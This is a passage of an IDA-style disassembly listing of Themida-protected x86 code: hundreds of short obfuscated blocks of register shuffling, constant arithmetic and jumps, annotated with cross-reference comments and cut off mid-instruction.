pop ebp jmp loc_5A7464 ; --------------------------------------------------------------------------- loc_5AA8BC: ; CODE XREF: Themida_:005AB1F1j pop edi jmp loc_5A5084 ; --------------------------------------------------------------------------- loc_5AA8C2: ; CODE XREF: Themida_:0059C43Fj ; Themida_:005A125Fj mov [esp], ecx jmp loc_59B903 ; --------------------------------------------------------------------------- loc_5AA8CA: ; CODE XREF: Themida_:0059F761j ; Themida_:005A9E8Cj sub eax, 671432D6h jmp loc_59C596 ; --------------------------------------------------------------------------- loc_5AA8D4: ; CODE XREF: Themida_:005A01CFj sub ebx, 5EAF2219h mov ebp, [esp] add esp, 4 jmp loc_5A6D43 ; --------------------------------------------------------------------------- loc_5AA8E5: ; CODE XREF: Themida_:005985FCj mov ecx, 180B3B60h jmp loc_5A2559 ; --------------------------------------------------------------------------- loc_5AA8EF: ; CODE XREF: Themida_:005A3A8Aj ; Themida_:005AD018j add al, 0D1h add al, 0E5h push edx mov dl, 48h sub al, dl pop edx push ecx jmp loc_5A3E22 ; --------------------------------------------------------------------------- loc_5AA8FF: ; CODE XREF: Themida_:0059BBD8j xchg ebx, [esp] pop esp shl byte ptr [esp], cl pushf jmp loc_59D4BD ; --------------------------------------------------------------------------- loc_5AA90C: ; CODE XREF: Themida_:005A1351j mov ecx, 58D1B3ECh jmp loc_5A7BD3 ; --------------------------------------------------------------------------- loc_5AA916: ; CODE XREF: Themida_:0059B41Aj mov eax, 270F1FA1h add [esp+8], eax pop eax add [esp+4], esi sub dword ptr [esp+4], 270F1FA1h pop esi pop ebx add ebx, 4 jmp loc_599835 ; --------------------------------------------------------------------------- loc_5AA939: ; CODE XREF: Themida_:005A98DBj mov ecx, [esp] jmp loc_5AD0F2 ; --------------------------------------------------------------------------- loc_5AA941: ; CODE XREF: Themida_:005A8B27j ; Themida_:loc_5AC945j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AA946: ; CODE XREF: Themida_:0059A366j ; Themida_:loc_5A6595j mov [esp], ebx jmp loc_59D254 ; --------------------------------------------------------------------------- loc_5AA94E: ; CODE XREF: Themida_:0059C33Cj xor edi, 45810BF3h xor edi, 9FA19F63h mov ebx, edi pop edi sub edx, 260750DAh add edx, ebx add edx, 260750DAh mov ebx, [esp] add esp, 4 add edx, 4 xor edx, [esp] jmp loc_5A634C ; --------------------------------------------------------------------------- loc_5AA97F: ; CODE XREF: Themida_:005A6ABFj push 5095h mov [esp], esi mov esi, 220F29BCh jmp loc_5AD974 ; --------------------------------------------------------------------------- loc_5AA991: ; CODE XREF: Themida_:00599D3Ej push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_598E2F ; --------------------------------------------------------------------------- loc_5AA9A5: ; CODE XREF: Themida_:005A9349j push edx mov edx, 6C5918E4h sub ecx, 776F54E4h jmp loc_5ADD55 ; --------------------------------------------------------------------------- loc_5AA9B6: ; CODE XREF: Themida_:005A88D7j push 562h mov [esp], ebp mov ebp, 0FC4ED079h sub edx, ebp pop ebp jmp loc_59F5F2 ; --------------------------------------------------------------------------- loc_5AA9CB: ; CODE XREF: Themida_:005AA158j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AA9D0: ; CODE XREF: Themida_:0059F268j xchg edx, [esp] mov esp, [esp] mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_59AA59 ; --------------------------------------------------------------------------- loc_5AA9E5: ; CODE XREF: Themida_:0059B7BEj ; Themida_:005A87D3j push 7CE8h jmp loc_59F976 ; --------------------------------------------------------------------------- loc_5AA9EF: ; CODE XREF: Themida_:005A964Dj pop ecx xor eax, 11A27BE0h sub edi, eax mov eax, [esp] jmp loc_5A5E52 ; --------------------------------------------------------------------------- loc_5AA9FF: ; CODE XREF: Themida_:005A707Dj mov [esp], edi push 6656h jmp loc_59EE7D ; --------------------------------------------------------------------------- loc_5AAA0C: ; CODE XREF: Themida_:0059F922j add esp, 4 jmp loc_599A07 ; --------------------------------------------------------------------------- loc_5AAA14: ; CODE XREF: Themida_:005A6152j xor ecx, 2F444082h or ecx, 1AFF6160h jmp loc_59FD1C ; --------------------------------------------------------------------------- loc_5AAA25: ; CODE XREF: Themida_:005A0E4Fj add ecx, 260B540Ah xchg ecx, edi pop ecx shr edi, 5 xor edi, 408B508h jmp loc_5A1F2A ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], esi push esp push dword ptr [esp] pop esi add esp, 4 add esi, 4 jmp loc_5A2FE6 ; --------------------------------------------------------------------------- loc_5AAA59: ; CODE XREF: Themida_:005ACD39j add esp, 4 mov bh, dh mov edx, [esp] add esp, 4 shl bh, 5 inc bh push ecx mov ch, 2Fh inc ch push dx push ebx mov bh, 0E5h add bh, 1Bh xor bh, 0D2h mov dl, bh pop ebx and ch, dl pop dx push ax mov al, 82h jmp loc_5A7933 ; --------------------------------------------------------------------------- loc_5AAA8C: ; CODE XREF: Themida_:00599F99j mov esi, esp add esi, 4 sub esi, 4 jmp loc_59A095 ; --------------------------------------------------------------------------- loc_5AAA9F: ; CODE XREF: Themida_:0059BCDCj xchg ebx, [esp] jmp loc_5AE18F ; --------------------------------------------------------------------------- loc_5AAAA7: ; CODE XREF: Themida_:0059ADD9j add eax, 1A783978h pop ebx add eax, 713E3847h add eax, ebx push edx mov edx, 0D73215Fh jmp loc_5ABAB4 ; --------------------------------------------------------------------------- loc_5AAABF: ; CODE XREF: Themida_:005A9148j add ebx, 4 add ebx, 4 push ebx jmp loc_5A0227 ; --------------------------------------------------------------------------- loc_5AAAD1: ; CODE XREF: Themida_:005A585Aj ; Themida_:005A7DC3j push ebx jmp loc_598F23 ; --------------------------------------------------------------------------- loc_5AAAD7: ; CODE XREF: Themida_:005AA851j mov edi, ecx pop ecx push edi xchg ebx, [esp] not ebx xchg ebx, [esp] pop edi push edi not dword ptr [esp] pop edi push ebp mov ebp, 7F941AC7h jmp loc_5A8280 ; --------------------------------------------------------------------------- loc_5AAAF4: ; CODE XREF: Themida_:005AF0E3j push edi push ebp mov ebp, 76403C16h inc ebp sub ebp, 226C4BB1h sub ebp, 53D3F062h jmp loc_5AC834 ; --------------------------------------------------------------------------- loc_5AAB0D: ; CODE XREF: Themida_:005A89AAj add esi, 4 xchg esi, [esp] jmp loc_5A5B25 ; --------------------------------------------------------------------------- loc_5AAB1B: ; CODE XREF: Themida_:005A1289j xor eax, 15A901D6h sub eax, 9807A678h add edx, eax pop eax push esi mov esi, 3F27120Eh sub ebp, esi pop esi add ebp, edx jmp loc_59EEB5 ; --------------------------------------------------------------------------- loc_5AAB38: ; CODE XREF: Themida_:005A2A1Cj xor ecx, [esp] pop esp mov cl, 6 add cl, 0Ch add cl, bl sub cl, 0Ch push dword ptr [esp] pop ebx push edx push esp pop edx add edx, 4 add edx, 4 jmp loc_5A1234 ; --------------------------------------------------------------------------- loc_5AAB5E: ; CODE XREF: Themida_:005AB6A5j push 7B74h jmp loc_5A62F1 ; --------------------------------------------------------------------------- loc_5AAB68: ; CODE XREF: Themida_:005A4F8Bj mov eax, esp add eax, 4 add eax, 4 push eax jmp loc_5A470D ; --------------------------------------------------------------------------- loc_5AAB7A: ; CODE XREF: Themida_:0059F584j jmp loc_5ABB01 ; --------------------------------------------------------------------------- loc_5AAB7F: ; CODE XREF: Themida_:0059D55Cj mov edx, 2 add edi, edx pop edx xchg edi, [esp] mov esp, [esp] idiv cx push small 10D0h mov [esp], dx push ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AABA0: ; CODE XREF: Themida_:0059C2B5j add esp, 4 push ecx mov ch, 9 add ch, 0B6h inc ch jmp loc_5AB903 ; --------------------------------------------------------------------------- loc_5AABB3: ; CODE XREF: Themida_:loc_5A69D8j ; Themida_:005A9AEDj xor edi, ebx neg ebx xchg ebx, edi dec edi jno loc_5A0E6D neg edi jbe loc_5A5C77 shr edi, 8 and cl, 0D7h pop edx loc_5AABCF: ; CODE XREF: Themida_:005A835Dj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AABD4: ; CODE XREF: Themida_:005ABA22j push esi jmp loc_5A55DA ; --------------------------------------------------------------------------- loc_5AABDA: ; CODE XREF: Themida_:0059FE26j mov esp, [esp] add eax, 4 xchg eax, [esp] jmp loc_5993B8 ; --------------------------------------------------------------------------- loc_5AABE8: ; CODE XREF: Themida_:loc_598926j ; Themida_:005AC8E5j add ebx, 29380598h jmp loc_5AE8EA ; --------------------------------------------------------------------------- loc_5AABF3: ; CODE XREF: Themida_:0059BB3Dj or eax, eax jz loc_59E5A8 sub esp, 4 mov [esp], ebx push ecx mov ecx, esp jmp loc_59C904 ; --------------------------------------------------------------------------- loc_5AAC09: ; CODE XREF: Themida_:005AC6A4j push dword ptr [esp] pop edx add esp, 4 jmp loc_5AD2BE ; --------------------------------------------------------------------------- loc_5AAC15: ; CODE XREF: Themida_:005AC4C9j ; Themida_:005AEBDCj pop ebx jmp loc_5AA173 ; --------------------------------------------------------------------------- loc_5AAC1B: ; CODE XREF: Themida_:005A220Dj ; Themida_:005AB594j mov [esp], eax mov eax, 4 sub ecx, eax mov eax, [esp] jmp loc_5AAC48 ; --------------------------------------------------------------------------- loc_5AAC2D: ; CODE XREF: Themida_:005AE0B8j sub eax, 7324145Eh shr eax, 6 jmp loc_59E4E5 ; --------------------------------------------------------------------------- loc_5AAC3A: ; CODE XREF: Themida_:005A0603j add esi, 4 xchg esi, [esp] jmp loc_59AE1C ; --------------------------------------------------------------------------- loc_5AAC48: ; CODE XREF: Themida_:005AAC28j add esp, 4 xchg ecx, [esp] pop esp mov [esp], esi mov esi, 4 jmp loc_5A79E0 ; --------------------------------------------------------------------------- loc_5AAC5F: ; CODE XREF: Themida_:loc_5A0B2Bj ; Themida_:005AC7A4j add esi, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 4 sub esi, 38682825h add esi, 374959D1h add esi, ecx sub esi, 374959D1h jmp loc_5AEC85 ; --------------------------------------------------------------------------- loc_5AAC98: ; CODE XREF: Themida_:005A1E29j sub esi, edi pop edi sub esi, 0EEF9C67Eh sub edx, esi pop esi xchg edx, [esp] pop esp jmp loc_5AA501 ; --------------------------------------------------------------------------- loc_5AACAD: ; CODE XREF: Themida_:0059B10Aj shl dl, 8 add dl, 6Fh mov ah, dl mov edx, [esp] add esp, 4 jmp loc_59A16B ; --------------------------------------------------------------------------- loc_5AACC0: ; CODE XREF: Themida_:005A9308j mov edi, 333D2BA2h dec edi jg loc_5A2007 jmp loc_5AB518 ; --------------------------------------------------------------------------- mov edi, edx jmp loc_5A89A4 ; --------------------------------------------------------------------------- push esp loc_5AACD9: ; CODE XREF: Themida_:005ADBCDj mov edi, 24E16650h xor edi, edx pop edx inc edi xor edi, 6EA738CDh xor edi, 1ED028EDh add ecx, edi mov edi, [esp] add esp, 4 jmp loc_59F732 ; --------------------------------------------------------------------------- loc_5AACFB: ; CODE XREF: Themida_:00598E42j xor [esp], esi jmp loc_59F338 ; --------------------------------------------------------------------------- loc_5AAD03: ; CODE XREF: Themida_:005AF296j inc edx jle loc_5992AB jmp loc_5AEF51 ; --------------------------------------------------------------------------- push 77AAh mov [esp], ecx loc_5AAD17: ; CODE XREF: Themida_:005AE8DEj mov ebx, 49D506D1h inc ebx jmp loc_5A8ECC ; --------------------------------------------------------------------------- loc_5AAD22: ; CODE XREF: Themida_:0059BB6Cj mov edi, [esp] add esp, 4 xor ebp, ebx pop ebx sub [esp+4], ebp mov ebp, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 add esp, 4 add ecx, 2C4D215Dh jmp loc_5AECC9 ; --------------------------------------------------------------------------- loc_5AAD55: ; CODE XREF: Themida_:005A64C4j jmp loc_5A87D8 ; --------------------------------------------------------------------------- loc_5AAD5A: ; CODE XREF: Themida_:0059BF48j push ebp sub esp, 4 mov [esp], edx push 4A5D097Fh mov edx, [esp] add esp, 4 push eax mov eax, 3D70E6F8h sub edx, eax pop eax jmp loc_5A892D ; --------------------------------------------------------------------------- loc_5AAD7D: ; CODE XREF: Themida_:00598658j pop eax sub dword ptr [esp], 5D083954h sub [esp], eax add dword ptr [esp], 5D083954h jmp loc_5A9A6D ; --------------------------------------------------------------------------- loc_5AAD94: ; CODE XREF: Themida_:005A1F45j and eax, 5A522592h jmp loc_5AEDE2 ; --------------------------------------------------------------------------- loc_5AAD9E: ; CODE XREF: Themida_:005A6C51j jp loc_5A8090 shr ebx, 3 sub ebx, 0FFFFFFFFh push eax mov bh, 6Ah mov bl, 9Dh loc_5AADAF: ; CODE XREF: Themida_:005A1FD3j and edi, 48F8237Ah push eax jmp loc_599DA3 ; --------------------------------------------------------------------------- loc_5AADBB: ; CODE XREF: Themida_:005A2AEBj add ebp, 6CCD6A74h add ebp, ecx sub ebp, 6CCD6A74h pop ecx xchg ebp, [esp] pop esp sub dword ptr [esp], 11DE6264h push ecx mov ecx, 7F1A7AD7h push ebx mov ebx, 1ABD5205h jmp loc_59E454 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], ecx mov ecx, 75D0086Bh push ebp jmp loc_5A1010 ; --------------------------------------------------------------------------- loc_5AADF8: ; CODE XREF: Themida_:0059CA07j push edx jmp loc_59C444 ; --------------------------------------------------------------------------- loc_5AADFE: ; CODE XREF: Themida_:005986DAj push edx xor dword ptr [esp], 1DBA43BEh pop esi push edi mov edi, 1DBA43BEh xor esi, edi pop edi jmp loc_59ED82 ; --------------------------------------------------------------------------- loc_5AAE15: ; CODE XREF: Themida_:005A8D15j ; Themida_:005AB86Fj add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_59B54F ; --------------------------------------------------------------------------- loc_5AAE24: ; CODE XREF: Themida_:0059CF6Bj add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_5AE244 ; --------------------------------------------------------------------------- loc_5AAE3E: ; CODE XREF: Themida_:0059AAF5j mov ecx, 331E6D87h mov edx, ecx jmp loc_5A7525 ; --------------------------------------------------------------------------- loc_5AAE4A: ; CODE XREF: Themida_:005A2F74j not dl jmp loc_59D80E ; --------------------------------------------------------------------------- loc_5AAE51: ; CODE XREF: Themida_:0059EF1Fj ; Themida_:loc_5A59A4j push eax mov eax, 15054CDCh mov ebp, 1873E45Ah jmp loc_59F7D9 ; --------------------------------------------------------------------------- loc_5AAE61: ; CODE XREF: Themida_:0059C27Aj pop esi push ebp mov ebp, 175A57F8h xor ebp, 496B5615h sub ebx, ebp pop ebp add ebx, eax add ebx, 5E3101EDh mov eax, [esp] add esp, 4 push 2B04h jmp loc_59C86E ; --------------------------------------------------------------------------- loc_5AAE89: ; CODE XREF: Themida_:005A2C8Dj ; Themida_:005A8162j sub [esp+4], eax add dword ptr [esp+4], 338B2AF5h jmp loc_59A142 ; --------------------------------------------------------------------------- loc_5AAE9A: ; CODE XREF: Themida_:0059B425j sub edi, 0C7541FFh add edi, 47F71E96h push ecx mov ecx, 3736BEDh xor ecx, 0E17CAEF7h sub edi, ecx pop ecx jmp loc_5A0A4B ; --------------------------------------------------------------------------- loc_5AAEBA: ; CODE XREF: Themida_:005ACCF5j add ecx, 2CC214F6h sub ecx, edx sub ecx, 2CC214F6h jmp loc_5A3A31 ; --------------------------------------------------------------------------- loc_5AAECD: ; CODE XREF: Themida_:005A5323j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 77AAh jmp loc_5A882F ; --------------------------------------------------------------------------- loc_5AAEE7: ; CODE XREF: Themida_:005A7C63j sub [esp], bl mov bl, [esp] jmp loc_59E29B ; --------------------------------------------------------------------------- loc_5AAEF2: ; CODE XREF: Themida_:005AD344j xchg ecx, [esp] pop esp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_5A5B2B ; --------------------------------------------------------------------------- loc_5AAF04: ; CODE XREF: Themida_:005A01FEj pop edx jmp loc_5AE59C ; --------------------------------------------------------------------------- loc_5AAF0A: ; CODE XREF: Themida_:005A710Dj ; Themida_:005AF0A0j add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop ebp push ecx mov ecx, 4 add ebp, ecx pop ecx push 7D02h mov [esp], esi mov esi, 4 jmp loc_5ABC1E ; --------------------------------------------------------------------------- loc_5AAF34: ; CODE XREF: Themida_:005A5BFBj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A1701 ; --------------------------------------------------------------------------- loc_5AAF49: ; CODE XREF: Themida_:005A9B36j mov ebp, [esp] add esp, 4 shr edx, 3 jnz loc_5A0AC1 xor edx, 1009146Fh jmp loc_5A6CAD ; --------------------------------------------------------------------------- loc_5AAF63: ; CODE XREF: Themida_:005A015Bj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor bp, bx pop bx mov si, bp jmp loc_599815 ; --------------------------------------------------------------------------- loc_5AAF7D: ; CODE XREF: Themida_:005AC264j jmp loc_5A3333 ; --------------------------------------------------------------------------- loc_5AAF82: ; CODE XREF: Themida_:005A5406j pop eax jmp loc_59E880 ; --------------------------------------------------------------------------- loc_5AAF88: ; CODE XREF: Themida_:0059BC2Bj push 6D38h mov [esp], ecx push ebp mov ebp, 1754247Ch sub ebp, 4FAE2912h sub ebp, 0C7A5FB68h push ebp xor dword ptr [esp], 28A906D2h pop ecx xor ecx, 28A906D2h pop ebp sub ebp, 13935AFFh add ebp, ecx add ebp, 13935AFFh push dword ptr [esp] pop ecx push 4461h jmp loc_59C5DC ; --------------------------------------------------------------------------- loc_5AAFCE: ; CODE XREF: Themida_:005ADA1Ej mov ebx, [esp] add esp, 4 loc_5AAFD4: ; CODE XREF: Themida_:0059B23Cj push 5856h mov [esp], ebx push dword ptr [esp] jmp loc_59FB2C ; --------------------------------------------------------------------------- loc_5AAFE4: ; CODE XREF: Themida_:loc_5A7920j or dh, 6Eh jb loc_5ACFFD jmp loc_5A0BFD ; --------------------------------------------------------------------------- loc_5AAFF2: ; CODE XREF: Themida_:005A43F5j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push esi mov esi, 7C0445CAh mov edi, esi mov esi, [esp] add esp, 4 xor edi, ecx mov ecx, [esp] add esp, 4 and eax, edi mov edi, [esp] add esp, 4 or edx, eax shl edx, 1 push 1581h mov [esp], eax mov eax, 24h add eax, edi jmp loc_59D95F ; --------------------------------------------------------------------------- loc_5AB03D: ; CODE XREF: Themida_:00599550j sub esp, 4 mov [esp], esp jmp loc_5A034B ; --------------------------------------------------------------------------- loc_5AB04B: ; CODE XREF: Themida_:005A241Fj ; Themida_:005A26DFj push 231A1DBAh jmp loc_5AEEC5 ; --------------------------------------------------------------------------- loc_5AB055: ; CODE XREF: Themida_:005A4617j xor esi, 0D65F552h sub ebp, esi pop esi jmp loc_5A9FFF ; --------------------------------------------------------------------------- loc_5AB063: ; CODE XREF: Themida_:00599588j ; Themida_:005A2D54j push cx jmp loc_598B92 ; --------------------------------------------------------------------------- loc_5AB06A: ; CODE XREF: Themida_:005AA66Cj mov edi, 58D2501Eh sub eax, 2AE760F7h add eax, edi add eax, 2AE760F7h mov edi, [esp] jmp loc_59C050 ; --------------------------------------------------------------------------- loc_5AB083: ; CODE XREF: Themida_:00598968j sub esp, 4 mov [esp], ebx push esi jmp loc_5A35D1 ; --------------------------------------------------------------------------- loc_5AB092: ; CODE XREF: Themida_:00599F3Fj rol byte ptr [esp], cl pushf jmp loc_5AA49A ; --------------------------------------------------------------------------- loc_5AB09B: ; CODE XREF: Themida_:loc_5AE18Aj sub esi, 0CBBD9763h mov ecx, esi pop esi jmp loc_5A934E ; --------------------------------------------------------------------------- loc_5AB0A9: ; CODE XREF: Themida_:0059D535j shr ebp, 6 not ebp sub esp, 4 mov [esp], edi mov edi, 64B77307h xor ebp, edi pop edi add ebp, 0A10FFB03h add eax, 33325D3Eh add eax, ebp sub eax, 33325D3Eh jmp loc_5AA7F9 ; --------------------------------------------------------------------------- loc_5AB0D6: ; CODE XREF: Themida_:0059A6A2j push ebx push ebx mov ebx, esp add ebx, 4 jmp loc_5AF4FC ; --------------------------------------------------------------------------- loc_5AB0E5: ; CODE XREF: Themida_:loc_5A462Fj ; Themida_:005A7EDAj mov ecx, 7C2F43EDh jmp loc_5A12E5 ; --------------------------------------------------------------------------- loc_5AB0EF: ; CODE XREF: Themida_:005A7A05j ; Themida_:005AD7B8j mov [esp], edi push esi mov esi, 738F470Ah add esi, 8C70B8F8h mov edi, esi jmp loc_5AA2EF ; --------------------------------------------------------------------------- loc_5AB105: ; CODE XREF: Themida_:005A3521j mov [esp], ebx jmp loc_59AF63 ; --------------------------------------------------------------------------- loc_5AB10D: ; CODE XREF: Themida_:005AE7ECj inc dword ptr [esp] mov esi, [esp] add esp, 4 push 324Eh mov [esp], eax mov eax, 359E6Ch sub esi, eax pop eax add ebx, esi push dword ptr [esp] pop esi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push ebp jmp loc_5ADE6B ; --------------------------------------------------------------------------- loc_5AB144: ; CODE XREF: Themida_:005AB6BFj pop esp mov [esp], edx mov edx, 0FFFFFFFFh jmp loc_59D4CC ; --------------------------------------------------------------------------- loc_5AB152: ; CODE XREF: Themida_:0059A81Dj pop ecx sub eax, 274B14E4h add ebx, eax pop eax push ebx push dword ptr [esp+4] push dword ptr [esp] jmp loc_59C9D3 ; --------------------------------------------------------------------------- loc_5AB168: ; CODE XREF: Themida_:005AF1A9j shl edi, 5 push ebp mov ebp, 1CBB702Ch jmp loc_59E31D ; --------------------------------------------------------------------------- loc_5AB176: ; CODE XREF: Themida_:005A5DECj add esp, 4 mov ecx, edx pop edx sub ecx, 4FD41267h push ecx mov ecx, 2DDE3A56h jmp loc_59F05E ; --------------------------------------------------------------------------- loc_5AB190: ; CODE XREF: Themida_:005A1E99j ; Themida_:005AC5FDj push edi mov edi, 0EE77D35h and edi, 28872078h jnp loc_5A0728 jmp loc_5AC3DC ; --------------------------------------------------------------------------- loc_5AB1A7: ; CODE XREF: Themida_:005A42DDj push edx push ebp mov ebp, 2A0B2687h mov edx, 137A18FBh add edx, ebp jmp loc_5A890B ; --------------------------------------------------------------------------- loc_5AB1BA: ; CODE XREF: Themida_:005AE23Fj pop ebp jmp loc_5A4EEE ; --------------------------------------------------------------------------- loc_5AB1C0: ; CODE XREF: Themida_:loc_5A625Cj jmp loc_5A3697 ; --------------------------------------------------------------------------- loc_5AB1C5: ; CODE XREF: Themida_:00598EFEj mov eax, ecx pop ecx sub ecx, eax jmp loc_5A6CBE ; --------------------------------------------------------------------------- loc_5AB1CF: ; CODE XREF: Themida_:005AD0B7j add esp, 4 add esp, 4 shr ecx, 2 sub esp, 4 jmp loc_5A1B3D ; --------------------------------------------------------------------------- loc_5AB1E6: ; CODE XREF: Themida_:005AB8E5j add esp, 4 push edi mov edi, 4 add ebx, edi jmp loc_5AA8BC ; --------------------------------------------------------------------------- loc_5AB1F6: ; CODE XREF: Themida_:0059C889j mov eax, 63ED1D0Ch add ebx, eax pop eax add ebx, ebp sub ebx, 63ED1D0Ch pop ebp jmp loc_5AE4EC ; --------------------------------------------------------------------------- loc_5AB20C: ; CODE XREF: Themida_:0059D116j ; Themida_:005A6AEEj pop eax push esi mov esi, 460E59F4h add edx, esi pop esi add edx, edi push ecx mov ecx, 2F8F1A5Bh push ecx jmp loc_5A3DC0 ; --------------------------------------------------------------------------- loc_5AB224: ; CODE XREF: Themida_:0059B279j mov ebx, [esp] add esp, 4 xor esi, [esp] jmp loc_5A9F35 ; --------------------------------------------------------------------------- loc_5AB232: ; CODE XREF: Themida_:005A364Ej push eax mov eax, 0F7418FBh jmp loc_5A17AD ; --------------------------------------------------------------------------- loc_5AB23D: ; CODE XREF: Themida_:005A8740j push eax push ecx mov cl, 36h mov al, cl pop ecx shl al, 1 xor al, 0A9h sub bl, al pop eax add bl, 0A7h jmp loc_5996DB ; --------------------------------------------------------------------------- loc_5AB253: ; CODE XREF: Themida_:00599B05j sub esi, 0FFFF7DFAh sub edi, 6213661Bh add edi, esi add edi, 6213661Bh pop esi xchg edi, [esp] jmp loc_5A7991 ; --------------------------------------------------------------------------- loc_5AB270: ; CODE XREF: Themida_:0059D61Bj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AB275: ; CODE XREF: Themida_:005A2722j add ebp, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5A983E ; --------------------------------------------------------------------------- loc_5AB292: ; CODE XREF: Themida_:0059C7B3j mov al, dl mov bl, al mov eax, [esp] add esp, 4 mov al, bl pop ebx push ebx mov bh, al mov ch, bh mov ebx, [esp] add esp, 4 jmp loc_5A525F ; --------------------------------------------------------------------------- loc_5AB2AF: ; CODE XREF: Themida_:005AB432j add esp, 4 add edx, ebx push eax jmp loc_5AEB2A ; --------------------------------------------------------------------------- loc_5AB2BA: ; CODE XREF: Themida_:00598A88j ; Themida_:00599B8Aj ... add edi, ecx pop ecx push edi push dword ptr [esp+4] jmp loc_59BD03 ; --------------------------------------------------------------------------- loc_5AB2C7: ; CODE XREF: Themida_:005A04B9j ; Themida_:005A0A10j js loc_5AF1D5 xor ebp, 18604524h mov edx, ebp pop ebp jmp loc_5999DB ; --------------------------------------------------------------------------- loc_5AB2DB: ; CODE XREF: Themida_:005A81A4j shr esi, 6 sub esi, 0DCC57E8Ch inc esi sub esi, 1 push ebx jmp loc_59C096 ; --------------------------------------------------------------------------- loc_5AB2EE: ; CODE XREF: Themida_:0059F9FDj add esi, ebx pop ebx xchg esi, [esp] jmp loc_5A178A ; --------------------------------------------------------------------------- loc_5AB2F9: ; CODE XREF: Themida_:loc_5983BEj ; Themida_:005AE8E5j sub ebx, 0D4E9EE90h jmp loc_59ACA8 ; --------------------------------------------------------------------------- loc_5AB304: ; CODE XREF: Themida_:005AD743j add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A043E ; --------------------------------------------------------------------------- loc_5AB318: ; CODE XREF: Themida_:0059C522j shl eax, 7 jmp loc_59DE57 ; --------------------------------------------------------------------------- loc_5AB320: ; CODE XREF: Themida_:005A99F4j add edi, ebx pop ebx sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] xor [esp], eax pushf jmp loc_59838C ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push esi mov esi, esp push ebp mov ebp, 4 add esi, ebp pop ebp jmp loc_5A8A90 ; --------------------------------------------------------------------------- loc_5AB35D: ; CODE XREF: Themida_:005A882Aj mov [esp], ebp mov ebp, 619B158Ah and ebp, 747425ADh xor ebp, 7D484F08h sub ebp, 0E1F19B8Bh xor ebx, ebp pop ebp add ebp, ebx pop ebx and eax, ebp pop ebp or eax, eax jz loc_59CE12 push dword ptr [edi+28h] push dword ptr [esp] pop eax jmp loc_59F5C4 ; --------------------------------------------------------------------------- loc_5AB394: ; CODE XREF: Themida_:005AC32Dj jmp loc_5A5587 ; --------------------------------------------------------------------------- loc_5AB399: ; CODE XREF: Themida_:005A0210j push bx mov bh, 53h jmp loc_5AEFC8 ; --------------------------------------------------------------------------- loc_5AB3A2: ; CODE XREF: Themida_:005A3289j jmp loc_59FF56 ; --------------------------------------------------------------------------- loc_5AB3A7: ; CODE XREF: Themida_:0059DFABj not al shr al, 6 inc al jmp loc_59DB9C ; --------------------------------------------------------------------------- loc_5AB3B3: ; CODE XREF: Themida_:005A08F7j mov edx, [esp] add esp, 4 sub edx, 3DCD6FA2h jnb loc_59CBB0 xor edx, 0A7E79CDEh mov ecx, edx push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 push ecx push esp pop ecx jmp loc_5A51B2 ; --------------------------------------------------------------------------- loc_5AB3E5: ; CODE XREF: Themida_:005A029Ej mov edi, 0FFFFFFFFh add ebx, 47ED53A3h jmp loc_5A697C ; --------------------------------------------------------------------------- loc_5AB3F5: ; CODE XREF: Themida_:005AF1E5j mov ebp, [esp] add esp, 4 jmp loc_5A9223 ; --------------------------------------------------------------------------- loc_5AB400: ; CODE XREF: Themida_:005A1982j ; Themida_:005AF4CCj push ebx mov ebx, 4 jmp loc_5A6C15 ; --------------------------------------------------------------------------- loc_5AB40B: ; CODE XREF: Themida_:0059D3D6j push ebx jmp loc_5A0DEA ; --------------------------------------------------------------------------- loc_5AB411: ; CODE XREF: Themida_:005ABA90j mov [esp], esi jmp loc_59AC69 ; --------------------------------------------------------------------------- loc_5AB419: ; CODE XREF: Themida_:005A61B9j mov edi, [esp] jmp loc_5A9EC8 ; --------------------------------------------------------------------------- loc_5AB421: ; CODE XREF: Themida_:0059C819j ; Themida_:005A5D43j xchg edi, [esp] pop esp mov [esp], ebx mov ebx, 0 mov edx, ebx mov ebx, [esp] jmp loc_5AB2AF ; --------------------------------------------------------------------------- loc_5AB437: ; CODE XREF: Themida_:005A774Cj xchg ebx, edi sub edi, 93DF9AF7h jmp loc_59FF4E ; --------------------------------------------------------------------------- loc_5AB444: ; CODE XREF: Themida_:loc_5AEC18j push ebp mov ebp, 54696268h jmp loc_5ABBAC ; --------------------------------------------------------------------------- loc_5AB44F: ; CODE XREF: Themida_:005A2917j dec ebx xor ebx, 0B01E19D3h sub edx, ebx mov ebx, [esp] add esp, 4 jmp loc_5A3B01 ; --------------------------------------------------------------------------- loc_5AB463: ; CODE XREF: Themida_:005A89E5j xor bh, al pop ax push eax mov al, 67h add al, 0FAh js loc_5A46CD xchg cl, al not cl push edx mov dl, cl mov cl, al mov al, dl pop edx inc al jle loc_59A5E8 jmp loc_59B25D ; --------------------------------------------------------------------------- neg ebx dec ebx inc ebx push esi loc_5AB490: ; CODE XREF: Themida_:005AA185j pop cx shl bh, 